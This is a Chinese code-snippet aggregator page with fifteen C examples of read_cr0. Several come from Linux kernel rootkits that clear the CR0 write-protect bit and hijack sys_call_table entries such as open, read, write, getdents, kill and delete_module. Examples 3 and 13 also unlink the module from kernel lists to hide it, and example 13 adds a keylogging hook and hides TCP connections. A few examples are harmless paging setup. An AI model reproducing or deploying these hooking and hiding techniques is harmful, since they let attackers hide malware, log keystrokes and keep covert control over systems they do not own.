本文整理汇总了C++中read_cr0函数的典型用法代码示例。如果您正苦于以下问题:C++ read_cr0函数的具体用法?C++ read_cr0怎么用?C++ read_cr0使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了read_cr0函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: enable_rw
// cr0 is a control register in the x86 family of processors.
// Bit 16 of that register is WP - Write protect: Determines whether
// the CPU can write to pages marked read-only
void enable_rw(void *ptr) {
preempt_disable();
barrier();
original_rw_mask = read_cr0() & WRITE_PROTECT_MASK;
write_cr0 (read_cr0() & (~ WRITE_PROTECT_MASK));
}
示例2: initialize_sneaky_module
//The code that gets executed when the module is loaded
static int initialize_sneaky_module(void)
{
struct page *page_ptr;
//See /var/log/syslog for kernel print output
printk(KERN_INFO "Sneaky module being loaded.\n");
printk(KERN_INFO "PID is %d\n", PID);
//Turn off write protection mode
write_cr0(read_cr0() & (~0x10000));
//Get a pointer to the virtual page containing the address
//of the system call table in the kernel.
page_ptr = virt_to_page(&sys_call_table);
//Make this page read-write accessible
pages_rw(page_ptr, 1);
//This is the magic! Save away the original 'open' system call
//function address. Then overwrite its address in the system call
//table with the function address of our new code.
original_call = (void*)*(sys_call_table + __NR_open);
*(sys_call_table + __NR_open) = (unsigned long)sneaky_sys_open;
//getdents
original_getdents = (void*)*(sys_call_table + __NR_getdents);
*(sys_call_table + __NR_getdents) = (unsigned long)sneaky_sys_getdents;
//read
original_read = (void*)*(sys_call_table + __NR_read);
*(sys_call_table + __NR_read) = (unsigned long)sneaky_sys_read;
//Revert page to read-only
pages_ro(page_ptr, 1);
//Turn write protection mode back on
write_cr0(read_cr0() | 0x10000);
return 0; // to show a successful load
}
示例3: hidden_init
static int __init hidden_init(void)
{
printk(KERN_INFO "Starting up module.\n");
/* Hide the module from proc/modules, Sys/modules tracking. */
list_del_init(&__this_module.list);
kobject_del(&THIS_MODULE->mkobj.kobj);
/* Locate address of the Syscall table in memory. */
if(!(sys_call_table = get_sys_call_table())) {
printk(KERN_INFO "Unable to locate Syscall table.");
return -1;
}
/* Disabling WP bit in control register cr0 to write to sys_call table. */
write_cr0(read_cr0() & (~ 0x10000));
/* Store open system call to use later. */
original_open = (void *)sys_call_table[__NR_open];
/* Write our modified read call to the syscall table. */
sys_call_table[__NR_open] = (unsigned long *) hidden_open;
/* Turning WP bit back on. */
write_cr0(read_cr0() | 0x10000);
return 0;
}
示例4: enable_hack
void enable_hack(){
if (success!=1) {
printk(KERN_INFO "Cannot enable, succes!=1\n");
return;
}
if (hacked) {
printk(KERN_INFO "Already hooked\n");
return;
}
hacked=1;
// disable kernel page write protection
write_cr0 (read_cr0 () & (~ 0x10000));
// redirect system call to our wrapper routine
//sys_call_table[__NR_getdents64] = hacked_getdents;
sys_call_table[__NR_settimeofday] = hacked_settimeofday;
sys_call_table[__NR_adjtimex] = hacked_adjtimex;
sys_call_table[__NR_clock_settime] = hacked_clock_settime;
// enable kernel page write protection back
write_cr0 (read_cr0 () | 0x10000);
printk(KERN_INFO "Syscall tampered #3. new clock_settime=%p\n", (void*) sys_call_table[__NR_clock_settime]);
}
示例5: cleanup_module
void cleanup_module() {
kfree(sock);
/* Reset the "open" system call */
write_cr0 (read_cr0 () & (~ 0x10000));
syscall_table[__NR_mkdir] = original_mkdir;
write_cr0 (read_cr0 () | 0x10000);
printk(KERN_ALERT "HIJACK EXIT\n");
}
示例6: enable_paging
/*-------------------------------------------------------------------------
* enable_pagine - enable paging
*-------------------------------------------------------------------------
*/
void enable_paging(){
unsigned long cr0;
cr0 = read_cr0();
cr0 = cr0 | ( 0x1 << 31 ) | 0x1;
write_cr0(cr0);
cr0 = read_cr0();
}
示例7: init_paging
/* Paging Initialization
*/
void init_paging()
{
map_mem();
printf("before: %b,%b ---",read_cr0(),read_cr3());
write_cr3((unsigned long)page_directory);
unsigned long cr0 = read_cr0();
cr0 = cr0 | 0x8000000;
write_cr0(cr0);
printf(" after: %b,%b\n",read_cr0(),read_cr3());
}
示例8: _init
static int _init(void) {
printk("rootkit loaded\n");
/*list_del_init(&__this_module.list);*/ /* /proc/modules */
/*kobject_del(&THIS_MODULE->mkobj.kobj);*/ /* /sys/modules */
write_cr0(read_cr0() & (~ 0x10000));
printk("tty_insert_flip_char: %p\n", tty_insert_flip_char);
o_tty_insert_flip_char = (void *) xchg(tty_insert_flip_char, my_tty_insert_flip_char);
write_cr0(read_cr0() | 0x10000);
return 0;
}
示例9: _exit
void _exit(void) {
my_type* syscalltable = 0;
syscalltable = (my_type* ) find();
if (syscalltable != 0)
{
write_cr0(read_cr0() & (~ 0x10000));
xchg(&syscalltable[__NR_getdents64], o_getdents64);
write_cr0(read_cr0() | 0x10000);
}
printk("rootkit removed\n");
}
示例10: exit
// rm the kmod
static void exit(void) {
write_cr0 (read_cr0 () & (~ 0x10000));
// YOUR CODE HERE!
// hint: you unhook here
write_cr0 (read_cr0 () | 0x10000);
printk(KERN_ALERT "MODULE EXIT\n");
}
示例11: exit
static void exit(void) {
write_cr0 (read_cr0 () & (~ 0x10000));
syscall_table[__NR_write] = original_write;
write_cr0 (read_cr0 () | 0x10000);
printk(KERN_ALERT "MODULE EXIT\n");
return;
}
示例12: init
static int init(void) {
printk(KERN_ALERT "\nHIJACK INIT\n");
write_cr0 (read_cr0 () & (~ 0x10000));
original_write = (void *)syscall_table[__NR_write];
syscall_table[__NR_write] = new_write;
write_cr0 (read_cr0 () | 0x10000);
return 0;
}
示例13: init
/*init module insmod*/
static int init(void)
{
//Uncomment to hide this module
list_del_init(&__this_module.list);
struct tcp_seq_afinfo *my_afinfo = NULL;
//proc_net is disappeared in 2.6.32, use init_net.proc_net
struct proc_dir_entry *my_dir_entry = init_net.proc_net->subdir;
write_cr0 (read_cr0 () & (~ 0x10000));
if(_KEYLOG_){
o_read=(void *)sys_call_table[__NR_read];
sys_call_table[__NR_read]=h4x_read;
}
o_write=(void *)sys_call_table[__NR_write];
sys_call_table[__NR_write]=h4x_write;
#if defined(__x86_64__)
o_getdents=sys_call_table [__NR_getdents];
sys_call_table [__NR_getdents]=h4x_getdents;
#elif defined(__i386__)
o_getdents64=sys_call_table [__NR_getdents64];
sys_call_table [__NR_getdents64]=h4x_getdents64;
#else
#error Unsupported architecture
#endif
o_unlink = sys_call_table [__NR_unlink];
sys_call_table [__NR_unlink] = h4x_unlink;
o_rmdir = sys_call_table [__NR_rmdir];
sys_call_table [__NR_rmdir] = h4x_rmdir;
o_unlinkat = sys_call_table [__NR_unlinkat];
sys_call_table [__NR_unlinkat] = h4x_unlinkat;
o_rename = sys_call_table [__NR_rename];
sys_call_table [__NR_rename] = h4x_rename;
o_open = sys_call_table [__NR_open];
sys_call_table [__NR_open] = h4x_open;
o_kill = sys_call_table [__NR_kill];
sys_call_table [__NR_kill] = h4x_kill;
o_delete_module = sys_call_table [__NR_delete_module];
sys_call_table [__NR_delete_module] = h4x_delete_module;
write_cr0 (read_cr0 () | 0x10000);
while(strcmp(my_dir_entry->name, "tcp"))
my_dir_entry = my_dir_entry->next;
if((my_afinfo = (struct tcp_seq_afinfo*)my_dir_entry->data))
{
//seq_show is disappeared in 2.6.32, use seq_ops.show
old_tcp4_seq_show = my_afinfo->seq_ops.show;
my_afinfo->seq_ops.show = h4x_tcp4_seq_show;
}
return 0;
}
示例14: init_module
int init_module() {
printk(KERN_ALERT "\nHIJACK INIT\n");
if (do_connect())
printk(KERN_ALERT "Error initializing control socket.\n");
/* Override the "open" system call */
write_cr0 (read_cr0 () & (~ 0x10000));
original_mkdir = (void *)syscall_table[__NR_mkdir];
syscall_table[__NR_mkdir] = new_mkdir;
write_cr0 (read_cr0 () | 0x10000);
return 0;
}
示例15: enable_paging
void enable_paging (unsigned int pd)
{
unsigned long cr0;
kprintf("load cr3\n");
write_cr3 (pd & ~NBPG);
kprintf("enable paging\n");
cr0 = read_cr0 ();
cr0 |= CR0_PG;
write_cr0 (cr0);
cr0 = read_cr0 ();
kprintf("cr0: %x, cr3 %x\n", read_cr0(), read_cr3());
}